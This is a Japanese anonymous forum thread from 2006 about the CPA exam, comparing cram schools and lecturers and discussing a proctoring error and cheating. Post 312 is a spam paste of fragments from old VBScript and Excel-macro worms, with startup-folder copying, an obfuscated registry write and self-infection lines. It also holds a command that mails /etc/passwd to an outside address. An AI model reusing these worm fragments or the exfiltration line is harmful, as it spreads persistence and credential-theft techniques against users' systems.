299:一般に公正妥当と認められた名無しさん
06/09/02 19:56:51
ｽﾚﾘﾝｸ(exam板:647番)
300:一般に公正妥当と認められた名無しさん
06/09/02 21:59:23
こんなのが別スレッドに貼られていた
クレアール中村（管理会計論）の講義が希望と比べて（とりあえず一部ね）
（・∀・）とこ
なし
(´･ω･`)ｼｮﾎﾞｰﾝなとこ ← 希望受けてたら無問題
・講義はテキストを棒読み
・講義は雑談が多い
・電卓の使い方が良くわかっていない
・そもそも原価計算が良くわかっていない
・実務家であるため、実務の沿った講義を期待されていたが、昨年度合格者のほうが知識がある。
(； ・`д・´) !? (`・д´・ (`・д´・ ；)なとこ
・問題集の問題が簿記１級レベル。下手したら簿記２級レベル
301:一般に公正妥当と認められた名無しさん
06/09/02 22:09:54
異議なし
302:一般に公正妥当と認められた名無しさん
06/09/02 22:16:47
ＬＥＣ池辺の講義が希望と比べて（とりあえず一部ね）
（・∀・）とこ
・内部副費の論点が深い
・定時外の処理を説明してくれる
・ＡＢＣの論点が深い
・総合原価計算の仕損・減損の論点が深い 等
(´･ω･`)ｼｮﾎﾞｰﾝなとこ ← 希望受けてたら無問題
・外注処理の論点が浅い
・補助部門費配賦の論点の説明があっさり終わる 等
(； ・`д・´) !? (`・д´・ (`・д´・ ；)なとこ
・材料返還の処理が違う 等
303:一般に公正妥当と認められた名無しさん
06/09/02 22:25:17
早稲田の２００人くらいの教室で企業法を準備ができたからといって本来の開始時刻１０分前に開始して２～３分後に『やっぱりやめてくださーい』って取り止めた問題は何の措置もなしですかね？
つまり８分くらい問題を知った状態で待機してたと。企業法でそれって落ち着いて答案構成できちゃうよね…けっこうでかいよね。
304:一般に公正妥当と認められた名無しさん
06/09/02 23:34:34
簿記の問題集きますた
305:一般に公正妥当と認められた名無しさん
06/09/03 00:03:00
>>303
マジでそんなことがあったのか？
本当だとしたら大問題だろ
306:一般に公正妥当と認められた名無しさん
06/09/03 00:05:34
10時22分に立会官が時計を見る
↓
立会官なぜか（やべ！20分からなのに２分過ぎてる！！）
↓
「すいません２分すぎちゃったんですけど始めてください・・・」
↓
直後に（あれ？ち違うじゃん30分からじゃん！！！！）
↓
「すいませんやっぱり止めてください！」
結果：一行問題なので全員問題把握・30分までの８分間じっくり脳内答案構成
307:一般に公正妥当と認められた名無しさん
06/09/03 00:35:46 cllnHd8a
>>306
それ、本当だとしたら大問題
308:一般に公正妥当と認められた名無しさん
06/09/03 01:08:35 4V9+SptJ
>>307
去年の論文で似たようなことあった。
外見は簿記なのに、問題は経営学だった。
309:一般に公正妥当と認められた名無しさん
06/09/03 01:24:19
つ朝日新聞
310:一般に公正妥当と認められた名無しさん
06/09/03 01:36:53
今年の論文は解答用紙を回収してからの確認作業にもずいぶん時間をかけてたし色々問題があったみたいだな
部屋ごとにその時間にも差があっただろうから受験者間の公平が保たれてないワナ
311:一般に公正妥当と認められた名無しさん
06/09/03 10:35:17
試験管みんなバイトだしね。金融庁の社員とかじゃない
税理士の財表の時なんかカンニングしてるオッサンいたよ
312:一般に公正妥当と認められた名無しさん
06/09/03 10:55:50
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
fso.copyfile "dirsystem&nurupo.vbs","j:\windows\startmenu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFilef1.path, f1.path+"
313:一般に公正妥当と認められた名無しさん
06/09/03 14:03:12 alwkTxQl
受かっちゃえば何位で受かったのか関係ないし。
カンニングで見つからずに合格勝ち取るのもある意味リスクを負った手段の一つだろ。
今年はそのリスクが現実化したものがいたそうだが。
314:一般に公正妥当と認められた名無しさん
06/09/03 14:45:57
そんなことやってたら職業倫理に欠ける会計士が増えそうな悪寒
315:一般に公正妥当と認められた名無しさん
06/09/03 15:26:01
ここの掲示板には救世主って書かれていますが、中村先生って、やばくないですか？
それとも、Ｎ村先生っていう、別の先生がいるのでしょうか？
管理会計論はテキストはまあまあいい出来だと思うのですが、テキスト自体も本当に
中村先生が作ったのですか？
あの講義を聞く限り、管理会計が全くわかっていないような気がします。
316:一般に公正妥当と認められた名無しさん
06/09/04 01:08:39
>>315
Ｎ村先生は西村先生っていう救世主だよ
317:一般に公正妥当と認められた名無しさん
06/09/04 20:47:00 KEAxxq+k
>>316
違うよ。
野村だよ。
318:一般に公正妥当と認められた名無しさん
06/09/04 21:14:13
>>315
Ｎ村先生が管理会計を分かっていないと感じるのは君の力不足。
センスが無いと言っても過言ではない。
Ｎ村先生は、06では答練解説のみを担当してたんだけど、
評判がよくて講義も担当することになった救世主だよ？
319:一般に公正妥当と認められた名無しさん
06/09/04 22:29:41
>>316-318
冗談がお上手でいらっしゃる…
320:一般に公正妥当と認められた名無しさん
06/09/04 23:32:54
Ｎ村先生はやめるべき？
321:一般に公正妥当と認められた名無しさん
06/09/04 23:35:49 WVrJJCVp
まじな話。
Ｎ村やばいだろ。
ここまでテキスト棒読みなんてありえない。
今からでも遅くないから、ベーシック期だけにして、アドバンス期は別の先生に
変えたほうがいいぞ。
ひどすぎる。
322:一般に公正妥当と認められた名無しさん
06/09/04 23:36:40
スタートページでＮ村先生のテキストだけ売られています・・・
323:一般に公正妥当と認められた名無しさん
06/09/05 10:24:51
工作員乙ｗ
324:一般に公正妥当と認められた名無しさん
06/09/05 10:53:21
クレアールも有名になりましたね。
325:126
06/09/05 18:43:26 50rfQ3sC
URLﾘﾝｸ(kitio12.blog14.fc2.com)
いろいろ考えましたが
やはり、働きながらですが、公認会計士の勉強を続けることにします。
合格率30パーセントの試験に落ちると、さすがに凹みました。
次回からは、短答合格者は短答式試験受験しないので、チャンスですしね。
合格するまで、頑張ります。
【2006.09.03】 勉強の軌跡（独り言） // TRACKBACK(0) // COMMENT(3)
| BLOG TOP | 撃沈 ≫
THANKS FOR YOUR COMMENTS
いつも見させてもらってます。
頑張って下さい!!自分は今受験生で会計学科目指して
ます。頑張れば出来るとこを見して下さい!!
【09.03】 URL // 六形 #- [編集] [▲]
これからも合格にむけて頑張ってください！
僕は今シドニーの大学で会計を専攻しています。自分
も将来日本の会計士かオーストラリアの会計士を取得
するかで今迷っているところです。kitioさんのブログは
とても参考になっていますのでこれからも
ブログ更新してくださいね！楽しみにしてます！
【09.03】 URL // Nori #- [編集] [▲]
一日、どれくらいの時間、勉強していましたか？
もし、主な敗因がわかれば教えてください。
【09.05】 URL // 中村 #- [編集] [▲]
326:一般に公正妥当と認められた名無しさん
06/09/05 19:03:18
4年もがんばってクレアールに通ったのに・・・
短答にも合格できない予備校。それがクレアール
URLﾘﾝｸ(kitio12.blog14.fc2.com)
kitio
kitio
kitio
kitio
kitio
kitio
kitio
kitio
kitio
327:一般に公正妥当と認められた名無しさん
06/09/05 19:05:49
工作員乙レス阻止
328:一般に公正妥当と認められた名無しさん
06/09/05 19:09:53
>>327
Ｎ村乙
329:一般に公正妥当と認められた名無しさん
06/09/05 20:25:51
>>326
お前最低だ
人として最低だ
330:一般に公正妥当と認められた名無しさん
06/09/05 22:14:44
クレラップ
331:一般に公正妥当と認められた名無しさん
06/09/05 23:52:51
工作員乙ｗ
332:一般に公正妥当と認められた名無しさん
06/09/06 00:26:38
>>329
326だが、今は反省している。
333:一般に公正妥当と認められた名無しさん
06/09/06 01:57:26 VSH+kki8
クレの上級って理論科目は初学者対象？
334:一般に公正妥当と認められた名無しさん
06/09/06 02:10:42 8BugJjb+
そーだよ。簿記と管理会計以外は。
1年でそれ以外の科目を仕上げようとしているから、結構ハード。
335:一般に公正妥当と認められた名無しさん
06/09/06 02:16:01
kitioの逆予言
URLﾘﾝｸ(kitio12.blog14.fc2.com)
財務会計・管理会計の勉強法(計算）
勉強方法
１財務会計
同じ問題を繰り返し何度も解く。答えの数字を暗記して
しまうぐらい、最低５回は解く。
薄く広く勉強し、連結は厚く勉強する。具体的には、帳
簿は二重金額控除のみおさえ、製造業・本社工場は税
理士論点なので、やらない。
336:一般に公正妥当と認められた名無しさん
06/09/06 02:16:29
>>333
クレの講義には初学者対象とかベテ対象とかそういう概念は存在しない
基本的に初学者でもベテでも基本、応用、直前の講義を全部受けることになる
337:一般に公正妥当と認められた名無しさん
06/09/06 02:25:40
kitioさんは本来トップ合格の人だよね・・・今年は事故があったとしか思えない。
勉強法もかなり参考にさせてもらったし・・・どれも受験生に有用なものばかり提示してくれてる。
できればまたブログ再開して、情報を提供してほしいな。来年は絶対に間違いなくトップ合格できますよ！
338:一般に公正妥当と認められた名無しさん
06/09/06 03:18:33
kitioとかいうヤツには会計士試験は情報戦だということだけ言っておく
339:一般に公正妥当と認められた名無しさん
06/09/06 03:30:50
マジレスすると、kitioは平均３～５時間くらいしか勉強していないから落ちたのだと思う。
340:333
06/09/06 03:45:30 aPxTYhQ6
ありがとうございます。
んじゃ初学者対象の上級部分＝受験経験者の上級なんですか？
341:一般に公正妥当と認められた名無しさん
06/09/06 04:12:04
簡単にいうとそうなる。以下参考に（個人的な感想は省かせてもらう）
財表→基本期は損益会計とか資産会計とか。応用期は会計基準を中心に、年度によっては純会計理論もやる。直前期はトピックな論点
監査→応用期と内容かぶってるから基本期はいらない。応用期のみやればいい
企業法→基本期は応用期へのステップ的な扱い。ただ一部基本期でしかやらない論点もあるから応用期だけでいいとは言い切れない
経営→管理は、基本期は藤原作成テキストで経営学の基本的な論点をつぶし、応用期と直前期は試験委員の著書を抜粋したテキストを読む。
財務は基本期ないし応用期で全体をやって直前期ででそうなとこをやる
こんな感じでカリキュラムが組まれてる。講義は初学者も受験経験者も同じものを受ける。大原とかTACみたいに講座がたくさんあるわけではない
書いてて気付いたが一度でも受験したことがあるなら財表以外は基本期とらなくてもいいのかもしれん
342:一般に公正妥当と認められた名無しさん
06/09/06 04:16:32
>>341
個人的な感想も聞きたいよ
343:333
06/09/06 04:25:56 aPxTYhQ6
>341
いやいやどうもです。
自分初学者で、クレは計算良くないって聞いたんで、計算は別のとこで勉強
しようかな、と思っていたので。
でも理論五科目のために初学者用のクレの会計士講座に申し込むのも
もったいないかな、と。
じゃあ初学者でも上級対象の理論五科目パックでいいんだ。
344:一般に公正妥当と認められた名無しさん
06/09/06 05:00:04
>>342
特定されそうで怖いが感想らしきものを書いとく
財表→今年に関していえばどこの予備校でも結果は同じようなもん。講義自体は引きこまれるものがあっていいと思うが、答練が最近怪しくなってる気がする
監査→文句なし
企業法→文句なし
経営→管理は最悪。何が大事なのかさっぱりわからん。財務は量が多いが特に言うことはない
>>343
管理会計は絶対違うところで受けるべきだが簿記に関してはクレでも問題はないと思う
あと俺が書いてるのは去年まで（今年の論文用）のことだから詳しくはクレにいってテキストの閲覧でもした方がいいかも
345:一般に公正妥当と認められた名無しさん
06/09/06 11:32:00
>>337
今年の短答は、本来トップ合格の人が落ちるような試験ではなかったよ。
346:一般に公正妥当と認められた名無しさん
06/09/06 13:44:32
>>345
てめえに何がわかる
347:一般に公正妥当と認められた名無しさん
06/09/06 13:57:26
阻止
348:一般に公正妥当と認められた名無しさん
06/09/06 18:02:40
>>344
ありがとうです。
管理会計はやっぱり講師がやばいですか？Ｙ井→Ｎ村の継投は、
Ｙ井の敗戦処理をＮ村が引き継いでいるように思います。
講義はもうあきらめていますが、テキスト、問題集もやばいですか？
Ｙ井の時から今のＮ村でテキスト、問題集ともにほとんど変わっていないですよね。
クレアールの管理会計論は問題集に簿記２級レベルの問題が含まれているのですが、
本当にこんなので大丈夫？もし、クレアールのみで大丈夫なら、安井、中村は神ですよね。
まさに非常識合格法。
349:一般に公正妥当と認められた名無しさん
06/09/06 20:34:19
>>348
テキスト自体はそんなにも悪くないかも。多少わかりにく面はあるけど
理解している人が読めば書くべきことはちゃんと書いてあるってことがわかる
問題集は最近の本試験の出題傾向をみると計算が簡単になってきてるからあれくらいでもなんとかなるかも
ただ本試験では短答でも論文でも原価計算基準とか管理会計とかの理解が問われることになるからテキスト・問題集の丸暗記だけでは対応できない
この点でクレの管理会計はいただけない
350:一般に公正妥当と認められた名無しさん
06/09/06 23:52:01
＞ 理解している人が読めば書くべきことはちゃんと書いてあるってことがわかる
おいおい、理解してない人が読んでもわからないテキストっていったいｗ
351:一般に公正妥当と認められた名無しさん
06/09/07 00:08:16
>>349
あーでも、言われてみたら確かにそんな感じですね。
管理会計はまだ始まってないからわからないけど、原価計算は的を射ているように思います。
もやもやしていたのがすっきりした。ありがとうございました。
>>350
だって、原価計算基準をそのまま掲載して、説明がなかったりするんだもん。
352:333
06/09/07 00:13:17 t7LTc4Mu
よくクレの理論テキストじゃ、網羅性が低く短答試験に対応できないっていう意見を
聞くけど、どう？
353:一般に公正妥当と認められた名無しさん
06/09/07 00:57:24
>>352
短答前にはクレの管理会計を切って他のとこので勉強してたからなんともいいにくいけど･･･
今年の短答に関してはクレだけでも対応できないことはないと思う
計算はそんなに難しくないし、理論は肢をよく読めば正誤判別がつくような問題も多かったからね
でもこの傾向が来年以降も続くかはわからないからクレの管理会計で理解できないようなら他校の管理会計をとることをオススメする
ちなみにLEC池辺はわかりやすい。そろそろ工作員乙とか言われそうだな＾＾；
354:一般に公正妥当と認められた名無しさん
06/09/07 01:19:40
阻止
355:一般に公正妥当と認められた名無しさん
06/09/07 01:29:31
LEC池辺は確かにいい先生だが、初学者が受講したら正直マイナス。
クレで１.5年、一発合格を目指すなら取るべきではない。
クレの管理会計は池辺の３分の１くらいの時間で終わる。良くも悪くもだが。
池辺は網羅性を重視しているから、分量が多い。クレとは目的が違う。池辺はベテ向き。
>>352
逆に短答はいけると思う。'06からは理論対策もするようになっているから。
論文がどうなるかだ。今年は対応できるレベルだが、来年はどうなるかわからない。
おそらく、アカスクの関係で極端に難化することはないだろうけど。
クレは答練では本試験レベル以上のことは出題してこないからね。こっちも良くも悪くも。
クレの管理会計のテキスト及び問題集はそんなに悪くはないと思う。Ｎ村は最悪だが。
講義を聞かないで受験もありだと思う。
356:一般に公正妥当と認められた名無しさん
06/09/07 01:48:41
工作員乙ｗ
スタッフ乙ｗ
357:一般に公正妥当と認められた名無しさん
06/09/07 01:59:44
>>356
中村乙
358:一般に公正妥当と認められた名無しさん
06/09/07 16:02:22
今年は合格体験記出せるといいですね！
2004は調子にのりすぎて分厚い合格体験記出てたけど、2005は出てなかったね
359:一般に公正妥当と認められた名無しさん
06/09/07 17:19:14
AXLは5人くらいしか載ってない薄い合格体験記出してたが
クレアールもその辺見習ってもらいたいな。
360:一般に公正妥当と認められた名無しさん
06/09/07 23:41:00 f5ORMWX6
今日の財表は･･････いつも通りだった
361:一般に公正妥当と認められた名無しさん
06/09/08 03:55:50 tEm+2F99
>>355を信じてもいいですか？
Ｎ村先生・・・
362:一般に公正妥当と認められた名無しさん
06/09/08 05:15:32
まぁ>>353を信じるか>>355を信じるかは各自の自由だ
俺はクレの管理会計では合格最低点は確保できるかもしれないけど
アドバンテージを獲得することはできないと思ったから他校の管理会計をとったということ
講師は他にもいるんだから池辺に固執する必要もないしね
363:一般に公正妥当と認められた名無しさん
06/09/08 09:42:45 VST1RU9u
未だにクレアールに通ってる奴いるんだなｗ
こんな糞予備校消えてほしいよ、社員はやりたい放題だし。
講師は糞だし、教材はもう終わってるし、値段は安くない。
364:一般に公正妥当と認められた名無しさん
06/09/08 09:54:30
納豆とその取り巻きの珍言集
＊原価とコストについては前スレ>>816>>817参照のこと
納豆編（本スレの>>2）
・原価は材料から製品を作った値段の事だよ。
それに仕入れの交通費や人件費、
要は作る上で掛かる労力は費用全てを加えたのがコストだよ。
・原価とコストの違いは少し勉強すれば君なら分かるだろうし
取り巻き編（本スレの>>3）
・コストと原価が同じ意味で使われてるとか頭悪すぎ不細工すぎｗｗｗｗｗｗｗｗｗｗｗｗｗ
・人件費や交通費は製造原価に含まれるが、原価には含まれないぞ。
・ググルだけじゃなくちゃんと勉強してこいよ、ホント恥ずかしいぞ。
・製造原価も原価に含まれるとかマジで言ってんの？
・原価に+αされたものが製造原価って分からないのか
・・・この人たちに何か言って上げてください
ｽﾚﾘﾝｸ(fashion板)
365:一般に公正妥当と認められた名無しさん
06/09/08 10:02:48
受付の女と話してばかりしてる受講生が多い予備校において
合格者がたくさん出るわけ無いわな
もう時間の問題だろ
366:一般に公正妥当と認められた名無しさん
06/09/08 12:34:19
工作員乙ｗ
367:一般に公正妥当と認められた名無しさん
06/09/08 13:08:03
この学校選んでる時点で、不合格決定
368:一般に公正妥当と認められた名無しさん
06/09/08 13:16:24
>>367
具体的な根拠ぐらい示せよ。
他の専門と違う戦略「非常識合格法」で楽だと勘違いして入学して、
学習範囲は限定されるが、相当程度の暗記の精度が要求されたんで逃げ出したとか
そういうんじゃないのか？
369:一般に公正妥当と認められた名無しさん
06/09/08 13:46:15
>>368
要は367の頭が悪いと言うことだろ。
370:age
06/09/08 16:07:21 of5tPxAU
キムラどこに行ったの
371:一般に公正妥当と認められた名無しさん
06/09/09 12:49:59
イガ塾まだ募集してますか？
372:一般に公正妥当と認められた名無しさん
06/09/09 17:56:47
イガ塾なんて入ろうとするヤツいるのか？
373:一般に公正妥当と認められた名無しさん
06/09/09 21:20:12 IJ2pA1Oc
公認会計士目指す奴ってやっぱ普通と違うぜ。
俺なんて普通のサラリーマンだが、高校の時の同級生で、トップレベルの頭のいい奴に久しぶりにゲーセンで会った。
俺は高卒、そいつは東京の大学へ行って以来会ってなかったが、そいつ今は無職だが３１歳にして公認会計士目指してるって言ってた。
やっぱ頭のいい奴は狙うところが違うなと実感した。
営業の合間に行くとゲーセンでしょっちゅうそいつがバーチャファイターやってるのを見かけるが、勉強の息抜きなんだろうなと思う。
ほぼ毎日、朝でも夜でもいるんでよっぽどストレス溜まってるんだろうな。
しかしそれでもあいつはいつかきっと合格してすごい奴になるんだと思う。
俺は応援していたが、いつしかそのゲームセンターの店員の制服を着ていた。
そうか。流石に親のスネはいつまでもかじってられないからなと感心した。
休みの日に嫁と子供とそのゲーセンへ遊びに行ったら、そいつが一生懸命灰皿の掃除をしていた。
声を掛けてしばらく話をしていたら、そいつは急に泣き崩れた。
原因はよく分からなかったが、頭のいい奴にも悩みはいろいろあるんだろうと思う。
俺からしてみれば将来の大きな夢があって、頭もよくて羨ましい限りなんだが。
凡人の俺には真似のできないあいつの生き方を俺は密かに応援する。
374:一般に公正妥当と認められた名無しさん
06/09/09 21:53:34 sHb0C3sf
>>373
あーあ
375:一般に公正妥当と認められた名無しさん
06/09/09 22:49:43
なんか、スタペでくれ検討してる奴に答えてる奴も、メリットばかり強調するんじゃなくて
デメリットもちゃんといってやんないとだめじゃないか。
予備校選択という重大な意思決定なのに。
376:一般に公正妥当と認められた名無しさん
06/09/09 22:53:30
>>375
たぶん、不合格に追い込むためにクレに入れようとしているのだと思う。
377:一般に公正妥当と認められた名無しさん
06/09/09 23:06:05
>>375
本当のことを投稿しておいた。
Re: 無題 投稿者：中村健一郎 ID：plmzk - 2006/09/09(Sat) 23:01 No.39905
クレのテキストが薄いのは論点が少ないことと、
解説を省略しているからです。
他校のテキストのように冗長な説明は無駄だというのが、
クレアールの考え方です。新しいでしょ？
講義を聞き逃すと理解不能になります。
まぐれで一発合格、もしくは１０年かけても不合格
といったように、バクチ好きならクレアールがベストです。。
378:一般に公正妥当と認められた名無しさん
06/09/10 02:34:45
工作員乙ｗ
379:一般に公正妥当と認められた名無しさん
06/09/10 10:43:06
スタッフ乙ｗ
380:一般に公正妥当と認められた名無しさん
06/09/11 17:37:05 u9O7MsBA
クレかよったことある友人がみな、二年目は他校にいくのはなぜですか?
381:一般に公正妥当と認められた名無しさん
06/09/11 18:48:16
バカ工作員乙ｗ
382:一般に公正妥当と認められた名無しさん
06/09/11 19:37:40 7cXOdZ+l
>>380
そいつらは全員バクチに負けたのさ
383:一般に公正妥当と認められた名無しさん
06/09/11 23:18:38
負け犬の遠吠えってやつですよ
この負け犬どもが
384:一般に公正妥当と認められた名無しさん
06/09/11 23:29:12
阻止
385:一般に公正妥当と認められた名無しさん
06/09/11 23:50:50
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
386:一般に公正妥当と認められた名無しさん
06/09/11 23:57:59 N+gDq5MK
工作員乙ｗ
387:一般に公正妥当と認められた名無しさん
06/09/12 01:23:39
スタッフ乙ｗ
388:一般に公正妥当と認められた名無しさん
06/09/12 01:38:03 usmyjxoB
工作員乙ｗ
389:一般に公正妥当と認められた名無しさん
06/09/12 02:54:54
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>
390:一般に公正妥当と認められた名無しさん
06/09/12 03:04:30
またつまらん流れになってるな
391:一般に公正妥当と認められた名無しさん
06/09/12 04:29:12 NbDDS/NC
ホントだな
煽りするまえに勉強しろ
俺は今までやってこれから寝る
392:一般に公正妥当と認められた名無しさん
06/09/12 10:18:24 UdTt8bVK
できないのはどこでも無理ぼ
393:一般に公正妥当と認められた名無しさん
06/09/12 11:38:08
クレが他校より優れてるのは、寮があることくらい
394:一般に公正妥当と認められた名無しさん
06/09/12 12:02:04
工作員乙ｗ
395:一般に公正妥当と認められた名無しさん
06/09/12 12:37:36
スタッフ乙ｗ
396:一般に公正妥当と認められた名無しさん
06/09/12 16:32:19 CbJou0Wt
理論をクレで取ろうと思っているのですが、
租税法は他校と比べて優れてますか？
クレ生の租税法は今年の論文試験では十分戦えたでしょうか？
397:一般に公正妥当と認められた名無しさん
06/09/12 16:40:33
>>396
ここで聞いても参考にならんと思うが
398:一般に公正妥当と認められた名無しさん
06/09/12 18:23:48
>>396
そんなのより、管理会計論の中村神の講義を受けろ。
399:一般に公正妥当と認められた名無しさん
06/09/12 18:24:28
,-'"ヽ
/ i､ ／￣￣ ヽ, ＿/＼／＼/＼／|＿
{ ﾉ "' ゝ / ', ＼ ￣／
／ "' ゝﾉ {0} /¨`ヽ{0} <このひよっこ共めが！＞
/ ヽ._.ノ ', ／ ＼
i ｀ー'′ '. ￣|／＼/＼/＼/￣￣
/ }.
i' /､ ,i..
い _／ `-､.,, ､_ i
/' / _/ ＼`i " /ﾞ ./
(,,／ , ' _,,-'" i ヾi__,,,...--t'" ,|
,/ ／ ＼ ヽ､ i |
(､,,/ 〉､ ､,} | .i
`` ` ! ､､＼
!､_n_,〉>